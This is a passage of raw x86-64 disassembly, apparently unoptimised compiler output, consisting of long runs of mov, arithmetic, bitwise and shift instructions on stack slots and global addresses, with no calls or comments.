mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x57], al
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov eax, dword [rsp + 0x29dc]
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x868]
mov qword [0x14017a068], rax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x4e58], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4e40]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x4e60], rax
mov eax, dword [rsp + 0x29e4]
mov rcx, qword [rsp + 0x4b98]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a04], eax
movsx eax, word [rsp + 0x87c]
movsx ecx, word [0x140178e70]
sar eax, cl
mov word [0x140178e90], ax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x4e70], rax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [0x14017a068]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2a40], eax
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [0x140178e5d], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov byte [rsp + 0x5b], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x4e18]
movzx eax, word [rax]
mov word [rsp + 0x880], ax
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x878]
add eax, ecx
mov word [rsp + 0x864], ax
mov eax, dword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
lea rax, [0x140178e6c]
mov qword [rsp + 0x4e80], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x4e88], rax
lea rax, [rsp + 0x51]
mov qword [0x14017a070], rax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x860]
add eax, ecx
mov word [rsp + 0x87c], ax
movzx eax, word [rsp + 0x878]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x4e90], rax
movsx eax, word [0x140178e70]
movsx ecx, word [rsp + 0x874]
or eax, ecx
mov word [rsp + 0x880], ax
lea rax, [rsp + 0x28bc]
mov qword [rsp + 0x4e98], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4e50], rax
mov eax, dword [rsp + 0x2970]
movzx ecx, al
mov eax, dword [rsp + 0x2a34]
sar eax, cl
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x4ea0], rax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov word [rsp + 0x884], ax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x4e50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x4ea8], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x874]
sub eax, ecx
mov word [0x140178e94], ax
movzx eax, word [rsp + 0x864]
mov word [rsp + 0x888], ax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x2a34]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x28ac], eax
movzx eax, byte [rsp + 0x54]
mov byte [0x14017a052], al
lea rax, [rsp + 0x874]
mov qword [rsp + 0x4eb8], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
shl eax, cl
mov word [rsp + 0x858], ax
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x4ec0], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
sar eax, cl
mov byte [rsp + 0x55], al
lea rax, [0x140178e78]
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [0x14017a058]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov dword [rsp + 0x2a44], eax
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x880]
mov qword [0x14017a078], rax
lea rax, [0x140178e68]
mov qword [rsp + 0x4ed0], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov dword [rsp + 0x2a48], eax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2a34]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
lea rax, [rsp + 0x87c]
mov qword [0x14017a080], rax
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x870]
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2908]
shr eax, cl
mov dword [rsp + 0x2a48], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4e88]
mov rcx, qword [rsp + 0x4ed8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
lea rax, [rsp + 0x870]
mov qword [rsp + 0x4ef0], rax
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x888]
xor eax, ecx
mov word [0x140178e98], ax
movsx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4ef8], rax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4e60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2a34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
lea rax, [0x140178e8c]
mov qword [rsp + 0x4f08], rax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov byte [rcx], al
lea rax, [rsp + 0x58]
mov qword [0x14017a088], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [0x140178e88]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
mov word [rsp + 0x894], ax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x4f08]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ea0], rax
lea rax, str.kD3
mov qword [rsp + 0x4f10], rax
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x29c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4cf8]
movzx eax, byte [rax]
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
xor eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rsp + 0x4f18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x4f20], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x29c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
lea rax, [rsp + 0x4b78]
mov qword [rsp + 0x4f28], rax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140178e9c], ax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4f30], rax
movsx eax, word [rsp + 0x870]
movsx ecx, word [rsp + 0x88c]
add eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a48]
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
sub eax, ecx
mov word [0x140178e94], ax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x59]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x4f38], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
add eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [0x14017a068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
xor eax, ecx
mov word [rsp + 0x880], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4f40], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f10]
mov qword [rsp + 0x4f48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f48]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4f28]
mov qword [rcx], rax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x4f50], rax
mov eax, dword [rsp + 0x2908]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [0x14017a053], al
lea rax, [0x14017a051]
mov qword [rsp + 0x4f60], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
or eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
movzx eax, word [rsp + 0x878]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x898], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x4f68], rax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a04], eax
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4d68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ea8], rax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [0x14017a078]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a080]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x86c]
add eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov dword [rsp + 0x2a54], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4ea8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ea0], rax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov qword [rsp + 0x4f78], rax
lea rax, [rsp + 0x50]
mov qword [0x14017a090], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x4c60]
movzx eax, word [rax]
mov word [rsp + 0x89c], ax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
xor eax, ecx
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x2a18]
mov dword [rsp + 0x2a58], eax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4f80], rax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b88]
sar rax, cl
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
lea rax, [rsp + 0x874]
mov qword [0x14017a098], rax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [0x14017a090]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x898]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, word [rsp + 0x860]
mov word [rsp + 0x8a0], ax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a34], eax
mov eax, dword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x29e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2908], eax
mov rax, qword [str.kD3]
mov qword [rsp + 0x4f88], rax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x4f00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b30], rax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [0x140178e94]
sub eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4f20]
mov dword [rcx], eax
lea rax, [rsp + 0x4b78]
mov qword [rsp + 0x4f90], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29dc]
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0x87c]
mov qword [0x14017a0a0], rax
mov rax, qword [0x14017a078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x4f98], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a051]
or eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2970]
movzx ecx, al
mov eax, dword [rsp + 0x28ac]
sar eax, cl
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
and eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e5e], al
lea rax, [rsp + 0x858]
mov qword [rsp + 0x4fb0], rax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x870]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a051]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov dword [rsp + 0x2a60], eax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov dword [rsp + 0x2a64], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178e94], ax
mov rax, qword [rsp + 0x4f68]
movzx eax, byte [rax]
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
lea rax, [0x140178e68]
mov qword [rsp + 0x4fb8], rax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e50]
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4f50]
mov qword [rsp + 0x4fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fc8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4f20]
mov ecx, dword [rsp + 0x2a18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x4fd0], rax
movsx eax, word [0x140178e90]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178ea0], ax
movzx eax, word [rsp + 0x898]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x888], ax
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
movzx ecx, word [rsp + 0x898]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a38]
mov dword [rsp + 0x2a68], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x4fd8], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
lea rax, [0x14017a050]
mov qword [0x14017a0a8], rax
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
lea rax, [rsp + 0x864]
mov qword [rsp + 0x4fe0], rax
